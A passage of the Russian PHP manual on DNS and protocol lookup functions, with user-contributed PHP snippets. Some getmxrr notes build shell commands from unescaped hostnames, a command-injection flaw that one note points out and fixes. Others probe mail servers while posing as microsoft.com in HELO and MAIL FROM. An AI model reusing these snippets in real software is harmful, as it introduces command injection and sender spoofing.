             . "probably offline for some time<BR>";
    }
    else {
        echo "good hostname, ipaddress = $ipaddress<BR>";
    }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>


Получает список IPv4-адресов, соответствующих переданному доменному имени хоста

  • « gethostbyname
  • gethostname »
  • PHP Manual
  • Сетевые функции
  • Получает список IPv4-адресов, соответствующих переданному доменному имени хоста

gethostbynamel

(PHP 4, PHP 5, PHP 7, PHP 8)

gethostbynamel — Получает список IPv4-адресов, соответствующих переданному доменному имени хоста

Описание

gethostbynamel(string $hostname): array|false

Возвращает список IPv4-адресов, в которые разрешается доменное имя хоста hostname.

Список параметров

hostname

Имя хоста.

Возвращаемые значения

Возвращает массив адресов IPv4 или false, если hostname не может быть разрешено.

Примеры

Пример #1 Пример использования функции gethostbynamel()

<?php
$hosts = gethostbynamel('www.example.com');
print_r($hosts);
?>

Результат выполнения данного примера:

Array
(
    [0] => 192.0.34.166
)

Смотрите также

  • gethostbyname() - Получает IPv4-адрес, соответствующий переданному имени хоста
  • gethostbyaddr() - Получает доменное имя хоста, соответствующее переданному IP-адресу
  • checkdnsrr() - Проверяет записи DNS, соответствующие переданному имени узла Интернета или IP-адресу
  • getmxrr() - Получает записи MX, соответствующие переданному доменному имени хоста
  • the named(8) manual page

User Contributed Notes

Anonymous 13-Mar-2018 07:57
????http??,gethostbynamel???
ab at null dot ixo dot ca 01-Jul-2016 02:44
If using gethostbyname against the name of the localhost is always giving you 127.0.0.1 but you want the DNS address instead, just put a dot at the end of the name.  E.g.,

$foo = gethostbynamel("myhost.example.com");
print_r($foo);

...is giving you this:
Array
(
    [0] => 127.0.0.1
)

Then put a dot at the end of the name:

$foo = gethostbynamel("myhost.example.com.");
print_r($foo);

...and now you get something like:
Array
(
    [0] => 172.217.1.99
)
info at methfessel-computers.de 29-Sep-2006 03:27
The solution is simpel. Just add a . (point) to the end of the URL for correct name resolving.

Without this point PHP thinks it's a subdomain of your local domain and so returns the "local-IP".
webdev at concraption dot com 19-Sep-2005 11:25
In PHP 5.0.4, gethostbynamel returns an empty string instead of false if the lookup fails. A simple workaround for this error is to use is_array() in an IF block:

<?
$hosts = gethostbynamel($hostname);
if (is_array($hosts)) {
     echo "Host ".$hostname." resolves to:<br><br>";
     foreach ($hosts as $ip) {
          echo "IP: ".$ip."<br>";
     }
} else {
     echo "Host ".$hostname." is not tied to any IP.";
}
?>
Skyld at o2 dot co dot uk 25-Sep-2004 01:45
Obviously, in some cases, not all IPs are likely to be useful while checking a hostname. Sometimes also, not all IPs will work. This code will check for the first WORKING IP from the list. Or at least it should - I haven't had time to test it yet.
Needs domain parameter, and port and max IPs to check are optional.
If port is not set, it will check HTTP port 80, and if max IPs to check is not set, it will only check the first 10 IPs from the list.
Hope it helps someone.

<?php
  function checkhostlist($domain, $port = 80, $maxipstocheck = 10) {
  ? $hosts = gethostbynamel($domain);
    for ($chk=0;$chk<$maxipstocheck;$chk++) {
      if (isset($hosts[$chk])) {
        $th = fsockopen($domain, $port);
        if ($th) {
          fclose($th);
          return $hosts[$chk];
          break;
        }
      }
    }
  }
?>


Получает имя хоста

  • « gethostbynamel
  • getmxrr »
  • PHP Manual
  • Сетевые функции
  • Получает имя хоста

gethostname

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gethostname — Получает имя хоста

Описание

gethostname(): string|false

Функция gethostname() получает стандартное имя хоста для локального компьютера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку с именем хоста либо false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gethostname()

<?php
echo gethostname(); // может вывести например: sandie
?>

Смотрите также

  • gethostbyname() - Получает IPv4-адрес, соответствующий переданному имени хоста
  • gethostbyaddr() - Получает доменное имя хоста, соответствующее переданному IP-адресу
  • php_uname() - Возвращает информацию об операционной системе, на которой запущен PHP

User Contributed Notes

php at pk1048 dot com 18-May-2023 03:01
Regarding Linux vs. macOS, that is not a difference in OS or PHP. macOS sets the hostname to <shortname>.local. Open a terminal window and run `hostname` to check. The local hostname can be set on macOS under the Sharing Preferences (or Settings if Ventura 13 or newer).
markosjal AT Gmail 13-Apr-2022 05:11
Since I built a PHP app that runs on Linux Windows and MacOS I just discovered that using gethostname() behaves differently on different OSes. Linux will return "hostname" while MacOS 10.15 will return "hostname.local"  . Have yet to determine how Windows behaves but the difference is worth noting. Only a few days ago I was wanting to get the LAN extension in Linux and was never able to. I was oly hable to get "hostname".  In MacOS it is just there. with "hostname.local"
solaris 27-Oct-2019 11:25
To the prev. note: **NEVER USE***
#`sudo hostname servername`

Some *nix systems will then force to set the 'servername' as new hostname!
kurdtpage at gmail dot com 28-Aug-2018 04:26
On Linux, use the command `hostname` to view your host name, or `sudo hostname servername` to set it


Получает записи MX, соответствующие переданному доменному имени хоста

  • « gethostname
  • getprotobyname »
  • PHP Manual
  • Сетевые функции
  • Получает записи MX, соответствующие переданному доменному имени хоста

getmxrr

(PHP 4, PHP 5, PHP 7, PHP 8)

getmxrr — Получает записи MX, соответствующие переданному доменному имени хоста

Описание

getmxrr(string $hostname, array &$hosts, array &$weights = null): bool

Ищет в DNS записи MX, соответствующие hostname.

Список параметров

hostname

Имя хоста

hosts

Список найденных записей MX, помещённый в массив hosts.

weights

Если передан массив weights, то он будет заполнен полученной информацией о приоритетах.

Возвращаемые значения

Возвращает true, если были найдены записи; возвращает false, если записей не было найдено или произошла ошибка.

Примечания

Замечание:

Эта функция не должна использоваться для проверки адреса. Возвращаются только почтовые сервера, найденные в DNS, однако, согласно » RFC 2821, когда в списке нет почтовых серверов, необходимо использовать сам hostname в качестве почтового сервера с приоритетом 0.

Замечание:

Для совместимости с более ранними версиями PHP под Windows, где не было реализации этой функции, используйте класс » PEAR » Net_DNS.

Смотрите также

  • checkdnsrr() - Проверяет записи DNS, соответствующие переданному имени узла Интернета или IP-адресу
  • dns_get_record() - Получение ресурсных записей DNS хоста
  • gethostbyname() - Получает IPv4-адрес, соответствующий переданному имени хоста
  • gethostbynamel() - Получает список IPv4-адресов, соответствующих переданному доменному имени хоста
  • gethostbyaddr() - Получает доменное имя хоста, соответствующее переданному IP-адресу
  • страница руководства named(8)

User Contributed Notes

Anonymous 06-Oct-2016 12:30
One small polyfill for the getmxrr function(even when it's missing from linux system)

function getmxrr($hostname, &$mxhosts, array &$mxweight=null)
                {
                   $mxhosts = array();
                   exec('nslookup -type=mx '.$hostname, $result_arr);
                   foreach($result_arr as $line)
                    {
                        if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
                        {
                            $s_xo=explode(' ', $matches[1]);
                            $mxhosts[] = $s_xo[1];
                            $mxweight[] = $s_xo[0];
                        }
                    }
                   return( count($mxhosts) > 0 );
                }
Robert Imhoff 27-Mar-2011 06:21
I tried using getmxrr() to validate the domain portion of email addresses in enquiry submission forms, and there is a curious effect with some top-level domains when checking non-existant domains.

With sdlkfjsdl.com, since the domain does not exist, getmxrr() returns false, as expected, and the returned mxhosts array is empty.

But with sdlkfjsdl.gov, getmxrr() returns true,  and the returned mxhosts array contains one element: NULL

With sdlkfjsdl.org, getmxrr() returns true,  and the returned mxhosts array contains one element: '0.0.0.0'

With sdlkfjsdl.co.uk, getmxrr()  returns true and supplies one MX record: uk-net-wildcard-null-mx.centralnic.net

So to validate the email domain, it would seem one has to check the returned mxhosts array to exclude the possibility of mxhosts being returned as NULL, 0.0.0.0 and wildcard ...
php [spat] hm2k.org 06-Jan-2009 02:18
I decided to have a bash at this after doing a bit of research...

<?php

// getmxrr() support for Windows by HM2K <php [spat] hm2k.org>
function win_getmxrr($hostname, &$mxhosts, &$mxweight=false) {
    if (strtoupper(substr(PHP_OS, 0, 3)) != 'WIN') return;
    if (!is_array ($mxhosts) ) $mxhosts = array();
    if (empty($hostname)) return;
    $exec='nslookup -type=MX '.escapeshellarg($hostname);
    @exec($exec, $output);
    if (empty($output)) return;
    $i=-1;
    foreach ($output as $line) {
        $i++;
        if (preg_match("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.+)$/i", $line, $parts)) {
          $mxweight[$i] = trim($parts[1]);
          $mxhosts[$i] = trim($parts[2]);
        }
        if (preg_match('/responsible mail addr = (.+)$/i', $line, $parts)) {
          $mxweight[$i] = $i;
          $mxhosts[$i] = trim($parts[1]);
        }
    }
    return ($i!=-1);
}

// Define
if (!function_exists('getmxrr')) {
    function getmxrr($hostname, &$mxhosts, &$mxweight=false) {
        return win_getmxrr($hostname, $mxhosts, $mxweight);
    }
}

/* example */

$domain='php.net';
echo "<pre>";
getmxrr($domain,$mxhosts,$mxweight);
print_r($mxhosts);
print_r($mxweight);

?>
TZ at inpetho dot net 12-Dec-2007 10:35
If greylisting is installed on the mx host then he send a "451 4.7.1 Please try again later"

My code fragment:

<?php
//...
foreach ($mx_records as $mx_host) {
    $code = CheckMX($mx_host, $eMail);
    if ($code == 0)    continue; // host not found
    if ($code == 451)    $code = CheckMX($mx_host, $eMail); // Greylisting
    if ($code == 250)    {
        $ok = true;
        break;
    }
}
//...

function CheckMX($mx_host, $eMail)
{
    $code = 0;
    $fp = @fsockopen($mx_host, 25, $errno, $errstr, 2);
    if ($fp)    {
        send_command($fp, 'HELO microsoft.com');
        send_command($fp, 'MAIL FROM:<support@microsoft.com>');
        $erg = send_command($fp, 'RCPT TO:<'.$eMail.'>');
        fclose($fp);
        $code = intval(substr($erg, 0, 3));
    }
    return $code;
}
//...
?>
Jay 11-Sep-2007 04:10
As stated, some of the code listed below will have trouble with multiple equal weights, such as if you query gmail.com. The following code will prevent that by switching the key/values.

<?php

// Get the records
getmxrr("gmail.com", $mx_records, $mx_weight);

// Put the records together in a array we can sort
for($i=0;$i<count($mx_records);$i++){
    $mxs[$mx_records[$i]] = $mx_weight[$i];
}

// Sort them
asort ($mxs);

// Since the keys actually hold the data we want, just put those in an array, called records
$records = array_keys($mxs);

// Simply echoes all the stuff in the records array
for($i = 0; $i < count($records); $i++){
    echo $records[$i];
    echo '<br>';
}

?>

If you wanted to get the weight, you would use "array_values($mxs);" instead of "array_keys($mxs);".

Hope this helps some people.
tomhutter at web dot de 20-Oct-2006 12:50
Leonardt's code fails with multiple mx records with the same wight. You can easily change this by switching keys and values in the mxs array:

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_records[$i]] = $mx_weight[$i];
     }

     arsort ($mxs );
     reset ($mxs);

    while (list ($mx_host, $mx_weight) = each ($mxs) ) {

cheers

Tom
php dot net at oitc dot com 14-Oct-2006 05:28
This function has some strange side effects when dealing with aliases...

My function:

        if (getmxrr($fqdn, $mx_records, $mx_weight)) {
            // copy mx records and weight into array $mxs
            // ignore multiple mx's at the same weight
            for ($i = 0; $i < count($mx_records); $i++) {
                $mxs[$mx_weight[$i]] = $mx_records[$i];
            }
            // sort array mxs to get servers with highest priority
            ksort ($mxs, SORT_NUMERIC);
            reset ($mxs);
        } else {
            // No MX so use A
            $mxs[0]= $fqdn;
        }

fails because a $fqdn containing an alias returns a true yet on return both $mx_records and $mx_weight contain nothing!

The solution until this gets fixed is to replace if (getmxrr($fqdn, $mx_records, $mx_weight)) with

        // Handle aliases etc.
        if ($result = getmxrr($fqdn, $mx_records, $mx_weight)) {
            if(!isset($mx_records) || (count($mx_records) == 0)) $result = false;
        }
        // Process MXs
        if ($result) {

Hope this helps others....  Tom
MagicalTux at ooKoo dot org 24-Sep-2006 07:59
If you want to use getmxrr on windows, be careful as choward AT fast DOT net DOT NO SPAM PLZ's function has a security flaw.

It passes its argument to an external command without escaping it. If you don't validate the input, someone may manage to run nasty things on your system.

Here's a fixed version (just added escapeshellarg())

<?php
function getmxrr($hostname, &$mxhosts)
{
    $mxhosts = array();
    exec('%SYSTEMDIRECTORY%\\nslookup.exe -q=mx '.escapeshellarg($hostname), $result_arr);
    foreach($result_arr as $line)
    {
      if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
          $mxhosts[] = $matches[1];
    }
    return( count($mxhosts) > 0 );
}//--End of workaround

//test..
getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

This way you'll avoid a lot of nasty things ;)
Lennart Poot(www.twing.nl) 07-Apr-2006 12:23
This script validates an e-mail adress using getmxrr and fsockopen

1. it validates the syntax of the address.
2. get MX records by hostname
3. connect mail server and verify mailbox(using smtp command RCTP TO:<email>)

When the function "validate_email([email])" fails connecting the mail server with the highest priority in the MX record it will continue with the second mail server and so on..

The function "validate_email([email])" returns 0 when it failes one the 3 steps above, it will return 1 otherwise

Grtz Lennart Poot

<?
function validate_email($email){
   $mailparts=explode("@",$email);
   $hostname = $mailparts[1];

   // validate email address syntax
   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
   $b_valid_syntax=eregi($exp, $email);

   // get mx addresses by getmxrr
   $b_mx_avail=getmxrr( $hostname, $mx_records, $mx_weight );
   $b_server_found=0;

   if($b_valid_syntax && $b_mx_avail){
     // copy mx records and weight into array $mxs
     $mxs=array();

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_weight[$i]]=$mx_records[$i];
     }

     // sort array mxs to get servers with highest prio
     ksort ($mxs, SORT_NUMERIC );
     reset ($mxs);

     while (list ($mx_weight, $mx_host) = each ($mxs) ) {
       if($b_server_found == 0){

         //try connection on port 25
         $fp = @fsockopen($mx_host,25, $errno, $errstr, 2);
         if($fp){
           $ms_resp="";
           // say HELO to mailserver
           $ms_resp.=send_command($fp, "HELO microsoft.com");

           // initialize sending mail
           $ms_resp.=send_command($fp, "MAIL FROM:<support@microsoft.com>");

           // try receipent address, will return 250 when ok..
           $rcpt_text=send_command($fp, "RCPT TO:<".$email.">");
           $ms_resp.=$rcpt_text;

           if(substr( $rcpt_text, 0, 3) == "250")
             $b_server_found=1;

           // quit mail server connection
           $ms_resp.=send_command($fp, "QUIT");

         fclose($fp);

         }

       }
    }
  }
  return $b_server_found;
}

function send_command($fp, $out){

  fwrite($fp, $out . "\r\n");
  return get_data($fp);
}

function get_data($fp){
  $s="";
  stream_set_timeout($fp, 2);

  for($i=0;$i<2;$i++)
    $s.=fgets($fp, 1024);

  return $s;
}

// support windows platforms
if (!function_exists ('getmxrr') ) {
  function getmxrr($hostname, &$mxhosts, &$mxweight) {
    if (!is_array ($mxhosts) ) {
      $mxhosts = array ();
    }

    if (!empty ($hostname) ) {
      $output = "";
      @exec ("nslookup.exe -type=MX $hostname.", $output);
      $imx=-1;

      foreach ($output as $line) {
        $imx++;
        $parts = "";
        if (preg_match ("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.*)$/", $line, $parts) ) {
          $mxweight[$imx] = $parts[1];
          $mxhosts[$imx] = $parts[2];
        }
      }
      return ($imx!=-1);
    }
    return false;
  }
}

?>
jeff at pzenix dot com 08-Mar-2006 09:58
I should point out that the below example won't work with some domains (.co.uk, .org.uk, .net.uk for example) because it assumes (possibly incorrectly) that the format is [ DOMAIN ].[ EXT ].
off at NOSPAM dot abwesend dot de 11-Feb-2006 07:18
Concerning the message by 'rolf at rowi dot net' (do a check on a address containing a subdomain) we could use:

$email = 'abc@etpc01.trier.fh-rpl.de';

$strDot      = '.';
$strAfterAt  = substr(strstr($email, '@'), 1);
$chunks      = explode($strDot, $strAfterAt);
$cntChunks   = count($chunks) - 1;

$strDomain = $chunks[($cntChunks-1)] . $strDot . $chunks[$cntChunks];

if (!getmxrr( $strDomain, $mxhosts )) {
    echo 'Mailserver not found';
}

// $strDomain is set to 'fh-rpl.de';
richard dot quadling at bandvulc dot co dot uk 25-May-2005 02:04
Windows alternative for getmxrr without the need for PEAR.

<?php
define('DEFAULT_GATEWAY', 'nnn.nnn.nnn.nnn');
if (!function_exists('getmxrr'))
    {
    /*
        This function is a replacement for the missing Windows function getmxrr.

        The parameters are the same as those for the normal getmxrr function.

        The steps this function takes are :

        1 - Use NSLOOKUP.EXE to get the MX records for the supplied Host.
        2 - Use regular expressions to extract the mail servers and the preference.
        3 - Sort the results by preference.
        4 - Set the return arrays.
        5 - Return true or false.
    */
    function getmxrr($s_HostName, array &$a_MXHosts = NULL, array &$a_Weights = NULL)
        {
        // Simulate all the required network activity by executing windows' NSLOOKUP.
        $s_NSLookup = shell_exec("nslookup -q=mx {$s_HostName} 2>nul");
        preg_match_all("'^.*MX preference = (\d{1,10}), mail exchanger = (.*)$'simU", $s_NSLookup, $a_MXMatches);

        // If there is something to return ...
        if (count($a_MXMatches[2]) > 0)
            {
            // Produce output arrays if they have been requested.
            $i_ArgCount = func_num_args();
            if ($i_ArgCount > 1)
                {
                array_multisort($a_MXMatches[1], $a_MXMatches[2]);
                switch ($i_ArgCount)
                    {
                    case 3 :
                        $a_Weights = $a_MXMatches[1];
                    case 2 :
                        $a_MXHosts = $a_MXMatches[2];
                    }
                }
            return True;
            }
        else
            {
            return False;
            }
        }
    }
?>

You will need to know your default gateway (either it's IP address or its name).

To do this, run the program IPCONFIG /ALL at a cmd prompt and look for the Default Gateway.

Then replace the 'nnn.nnn.nnn.nnn' with the address.

Richard.
rune dot heggtveit at devzone dot progative dot com 23-Jan-2005 01:02
An other way to do mx-lookup on a windows platform.
Rewrote this from an other class i wrote for DNS lookup - so it might be a bit messy - but hope you get the idea.

Big thanks to the rfc community.

<?php

class mxlookup
{
      var $dns_socket = NULL;
      var $QNAME = "";
      var $dns_packet= NULL;
      var $ANCOUNT = 0;
      var $cIx = 0;
      var $dns_repl_domain;
      var $arrMX = array();

      function mxlookup($domain, $dns="192.168.2.1")
      {
         $this->QNAME($domain);
         $this->pack_dns_packet();
         $dns_socket = fsockopen("udp://$dns", 53);

         fwrite($dns_socket,$this->dns_packet,strlen($this->dns_packet));
         $this->dns_reply  = fread($dns_socket,1);
         $bytes = stream_get_meta_data($dns_socket);
         $this->dns_reply .= fread($dns_socket,$bytes['unread_bytes']);
         fclose($dns_socket);
         $this->cIx=6;
         $this->ANCOUNT   = $this->gord(2);
         $this->cIx+=4;
         $this->parse_data($this->dns_repl_domain);
         $this->cIx+=7;

         for($ic=1;$ic<=$this->ANCOUNT;$ic++)
         {
           $QTYPE = ord($this->gdi($this->cIx));
           if($QTYPE!==15){print("[MX Record not returned]"); die();}
           $this->cIx+=9;
           $mxPref = ord($this->gdi($this->cIx));
           $this->parse_data($curmx);
           $this->arrMX[] = array("MX_Pref" => $mxPref, "MX" => $curmx);
           $this->cIx+=3;
         }
      }

      function parse_data(&$retval)
      {
        $arName = array();
        $byte = ord($this->gdi($this->cIx));
        while($byte!==0)
        {
          if($byte==192) //compressed
          {
            $tmpIx = $this->cIx;
            $this->cIx = ord($this->gdi($cIx));
            $tmpName = $retval;
            $this->parse_data($tmpName);
            $retval=$retval.".".$tmpName;
            $this->cIx = $tmpIx+1;
            return;
          }
          $retval="";
          $bCount = $byte;
          for($b=0;$b<$bCount;$b++)
          {
            $retval .= $this->gdi($this->cIx);
          }
          $arName[]=$retval;
         $byte = ord($this->gdi($this->cIx));
       }
       $retval=join(".",$arName);
     }

     function gdi(&$cIx,$bytes=1)
     {
       $this->cIx++;
       return(substr($this->dns_reply, $this->cIx-1, $bytes));
     }

      function QNAME($domain)
      {
        $dot_pos = 0; $temp = "";
        while($dot_pos=strpos($domain,"."))
        {
          $temp   = substr($domain,0,$dot_pos);
          $domain = substr($domain,$dot_pos+1);
          $this->QNAME .= chr(strlen($temp)).$temp;
        }
        $this->QNAME .= chr(strlen($domain)).$domain.chr(0);
      }

      function gord($ln=1)
      {
        $reply="";
        for($i=0;$i<$ln;$i++){
         $reply.=ord(substr($this->dns_reply,$this->cIx,1));
         $this->cIx++;
         }

        return $reply;
      }

      function pack_dns_packet()
      {
        $this->dns_packet = chr(0).chr(1).
                            chr(1).chr(0).
                            chr(0).chr(1).
                            chr(0).chr(0).
                            chr(0).chr(0).
                            chr(0).chr(0).
                            $this->QNAME.
                            chr(0).chr(15).
                            chr(0).chr(1);
      }

}

?>

<?php

/* Exampe of use: */
$mx = new mxlookup("php.net");

print $mx->ANCOUNT." MX Records\n";
print "Records returned for ".$mx->dns_repl_domain.":\n<pre>";
print_r($mx->arrMX);

?>

Return:

02 MX Records Records returned for php.net:

Array
(
    [0] => Array
        (
            [MX_Pref] => 15
            [MX] => smtp.osuosl.org
        )

    [1] => Array
        (
            [MX_Pref] => 5
            [MX] => osu1.php.net
        )

)
rolf at rowi dot net 21-Jan-2005 06:36
Be aware that not just user@example.com ist a valid address, also user@subnet.example.com is valid (but maybe less common). Just got into trouble with this check...

Rolf
siclawrence at gmail dot com 04-Jan-2005 06:43
This code replicates online tools that let you check if an email address is valid. First it checks if the email format is correct, then looks up and prints the mx records. All nicely formatted with fancy words that in the end prints whether the email address valid or invalid.

<?php
$email = "email@domain.com";

print("Checking: $email<br>");

if (eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)+$", $email)) {

    print("Format Test: PASSED<br>");
    print("Online host verification Test...<br><br>");
    print("MX Records for: $email<br>");

    list($alias, $domain) = split("@", $email);

    if (checkdnsrr($domain, "MX")) {

        getmxrr($domain, $mxhosts);

        foreach($mxhosts as $mxKey => $mxValue){
            print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$mxValue<br>");
        }

        print("Online host verification Test: PASSED<br><br>");
        print("Email Status: VALID");

    } else {

        print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No records found.<br>");
        print("Online host verification Test: FAILED<br><br>");
        print("Email Status: INVALID");

    }

} else {

    print("Format Test: FAILED<br><br>");
    print("Invalid email address provided.<br><br>");
    print("Email Status: INVALID");

}
?>
zorlac_man at hotmail dot com 14-May-2004 12:15
For some reason this and the other DNS lookup functions seem to be really slow on my Linux box. I've checked several things and have no explanation.

As a work-around, I gave in and just used a system call to dig:

<?php
CheckMX("fakedomain.org");
CheckMX("hotmail.com");

function CheckMX($domain) {
        exec("dig +short MX " . escapeshellarg($domain),$ips);
        if($ips[0] == "") {
                print "MX record found for $domain not found!\n";
                return FALSE;
        }
        print "MX Record for $domain found\n";
        return TRUE;
}
?>

Output:

MX record found for fakedomain.org not found!
MX Record for hotmail.com found

As someone else pointed out, it is prudent to check to see if the TLD has an IP address if the MX record is not found.
ng4rrjanbiah at rediffmail dot com 26-Feb-2004 03:11
Here is a better workaround for Windows platform. Tested on Windows XP. Highly impressed by "geoffbrisbine A T y a h o o DOT c o m"'s idea of nslookup usage.

<?php
function getmxrr($hostname, &$mxhosts)
{
   $mxhosts = array();
   exec('nslookup -type=mx '.$hostname, $result_arr);
   foreach($result_arr as $line)
    {
      if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
          $mxhosts[] = $matches[1];
    }
   return( count($mxhosts) > 0 );
}//--End of workaround

//test..
echo getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

HTH,
R. Rajesh Jeba Anbiah
geoffbrisbine A T y a h o o DOT c o m 24-Sep-2002 09:39
I was pretty disappointed that the Win32 build of PHP doesn't incorporate getmxrr so, since I'm a naive newbie, I decided to hack together my own (and I stress hack).  This has been tested on Win 2000 and Win XP.  There's no reason this shouldn't work on Win NT but it will not work on Win 9x (you need the nslookup command).  It will finish with the array $mx that will be a multidimensional array with the MX preference, host name and ip address. You can do a print_r ( $mx ) to see what it looks like.

-----------------------------------------------

<?php
$command = "nslookup -type=mx yahoo.com";
exec ( $command, $result );

$i = 0;
while ( list ( $key, $value ) = each ( $result ) ) {
    if ( strstr ( $value, "mail exchanger" ) ) { $nslookup[$i] = $value; $i++; }
}

while ( list ( $key, $value ) = each ( $nslookup ) ) {
    $temp = explode ( " ", $value );
    $mx[$key][0] = $temp[3];
    $mx[$key][1] = $temp[7];
    $mx[$key][2] = gethostbyname ( $temp[7] );
}

    array_multisort ( $mx );
?>
paul at start dot co dot uk 16-Jan-2001 12:48
Prevent your dns server from 'creating' a valid host name by appending the local domain to incomplete emails by appending to the domain a  trailing . both in the pattern match and mx checks:

<?php
if (eregi("^[0-9a-z_]([-_.]?[0-9a-z])*@[0-9a-z][-.0-9a-z]*\\.[a-z]{2,3}[.]?$", $string, $check)) {
    $host = substr(strstr($check[0], '@'), 1).".";
    if ( getmxrr($host, $validate_email_temp) )
        return TRUE;
    // THIS WILL CATCH DNSs THAT ARE NOT MX.
    if(checkdnsrr($host,"ANY"))
        return TRUE;
}
?>


Получает номер протокола по имени

  • « getmxrr
  • getprotobynumber »
  • PHP Manual
  • Сетевые функции
  • Получает номер протокола по имени

getprotobyname

(PHP 4, PHP 5, PHP 7, PHP 8)

getprotobyname — Получает номер протокола по имени

Описание

getprotobyname(string $protocol): int|false

Функция getprotobyname() возвращает номер протокола по имени, указанном в параметре protocol согласно /etc/protocols.

Список параметров

protocol

Имя протокола.

Возвращаемые значения

Возвращает номер протокола или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования getprotobyname()

<?php
$protocol = 'tcp';
$get_prot = getprotobyname($protocol);
if ($get_prot === FALSE) {
echo 'Протокол не найден';
} else {
echo 'Протокол #' . $get_prot;
}
?>

Смотрите также

  • getprotobynumber() - Получает имя протокола по номеру

User Contributed Notes

Vipindas K.S 08-May-2008 08:33
getprotobyname()
=====================

getprotobyname() gives the protocol number for the given protocol name on the local system.
If the protocol is not recognized, then the function returns -1.
The given code snippet gives the list of protocols along with their protocol numbers
<?
$arr=array("ip","icmp","ggp","tcp",
"egp","pup","udp","hmp","xns-idp",
"rdp","rvd" );
//Reads the names of protocols into an array..
for($i=0;$i<11;$i++)
{
$proname=$arr[$i];
echo $proname .":", getprotobyname ($proname)."<br />";
}

?>


Получает имя протокола по номеру

  • « getprotobyname
  • getservbyname »
  • PHP Manual
  • Сетевые функции
  • Получает имя протокола по номеру

getprotobynumber

(PHP 4, PHP 5, PHP 7, PHP 8)

getprotobynumber — Получает имя протокола по номеру

Описание

getprotobynumber(int $protocol): string|false

Функция getprotobynumber() возвращает имя протокола по номеру, указанному в параметре protocol согласно /etc/protocols.

Список параметров

protocol

Номер протокола.

Возвращаемые значения

Возвращает имя протокола в виде строки или false в случае возникновения ошибки.

Смотрите также

  • getprotobyname() - Получает номер протокола по имени

User Contributed Notes

i at tiankonguse dot com 27-Nov-2013 11:37
getprotobynumber()
=====================
getprotobynumber() gets the protocol name for the given protocol number on the local system.

 If the protocol number is not recognized,the function returns FALSE.

The given code snippet gives the list of protocols along with their protocol numbers

=====================
code

<?
$format = "number <---> protocol\n<br />";
$format = "%6s <---> %s\n<br />";
for($number = 0; $number < 255; $number ++) {
    if (getprotobynumber ( $number ))

        printf ( $format, " $number", getprotobynumber ( $number ) );
}
?>

=====================
OUTPUT:
0 <---> ip
1 <---> icmp
2 <---> igmp
3 <---> ggp
4 <---> ipencap
5 <---> st
6 <---> tcp
8 <---> egp
9 <---> igp
12 <---> pup
17 <---> udp
20 <---> hmp
22 <---> xns-idp
27 <---> rdp
29 <---> iso-tp4
33 <---> dccp
36 <---> xtp
37 <---> ddp
38 <---> idpr-cmtp
41 <---> ipv6
43 <---> ipv6-route
44 <---> ipv6-frag
45 <---> idrp
46 <---> rsvp
47 <---> gre
50 <---> esp
51 <---> ah
57 <---> skip
58 <---> ipv6-icmp
59 <---> ipv6-nonxt
60 <---> ipv6-opts
73 <---> rspf
81 <---> vmtp
88 <---> eigrp
89 <---> ospf
93 <---> ax.25
94 <---> ipip
97 <---> etherip
98 <---> encap
103 <---> pim
108 <---> ipcomp
112 <---> vrrp
115 <---> l2tp
124 <---> isis
132 <---> sctp
133 <---> fc
135 <---> mobility-header
136 <---> udplite
137 <---> mpls-in-ip
138 <---> manet
139 <---> hip
140 <---> shim6
141 <---> wesp
142 <---> rohc
recycling dot sp dot am at gmail dot com 13-Sep-2010 03:40
Note that by the time of writing this note (5.3.3), there seems to be only two defined constants for the protocol numbers: SOL_UDP and SOL_TCP.
For all other protocols (like ICMP,... ) you'll have to provide the exact number (EG: 1 for ICMP, ... )
<?php
    echo getprotobynumber(SOL_TCP) . "\n"; // prints tcp
    echo getprotobynumber(SOL_UDP) . "\n"; // prints udp
    var_dump(getprotobyname('tcp') == SOL_TCP); // bool(true)
    var_dump(getprotobyname('udp') == SOL_UDP); // bool(true)
?>
On a UNIX system (don't know if this is true for Windows), the php functions getprotobyname and getprotobynumber are just wrapper for their corresponding system calls. These functions returns the protocol name or protocol number based on the definition from IANA. If you are looking for a protocol and you don't know its number, you can find the exact protocol number here: http://www.iana.org/assignments/protocol-numbers
Vipindas K.S 08-May-2008 08:39
getprotobynumber()
=====================
getprotobynumber() gets the protocol name for the given protocol number on the local system. If the protocol number is not recognized,the function returns FALSE.The given code snippet gives the list of protocols along with their protocol numbers

<?
$format = "%6s %s\n<br />";
for ($number = 0; $number < 255; $number++)
 {
   if (getprotobynumber ($number))

      printf ($format, " $number-->", getprotobynumber ($number));
 }

?>

OUTPUT:

0--> ip
1--> icmp
3--> ggp
6--> tcp
8--> egp
12--> pup
17--> udp
20--> hmp
22--> xns-idp
27--> rdp
66--> rvd


Получает номер порта, связанного с интернет-службой и протоколом

  • « getprotobynumber
  • getservbyport »
  • PHP Manual
  • Сетевые функции
  • Получает номер порта, связанного с интернет-службой и протоколом

getservbyname

(PHP 4, PHP 5, PHP 7, PHP 8)

getservbyname — Получает номер порта, связанного с интернет-службой и протоколом

Описание

getservbyname(string $service, string $protocol): int|false

Функция getservbyname() возвращает порт, который соответствует параметру service для заданного протокола в параметре protocol согласно /etc/services.

Список параметров

service

Имя службы Интернета в виде строки.

protocol

Параметр protocol может быть равен "tcp" или "udp" (в нижнем регистре).

Возвращаемые значения

Возвращает номер порта, или false, если service или protocol не найдены.

Примеры

Пример #1 Пример использования getservbyname()

<?php
$services = array('http', 'ftp', 'ssh', 'telnet', 'imap',
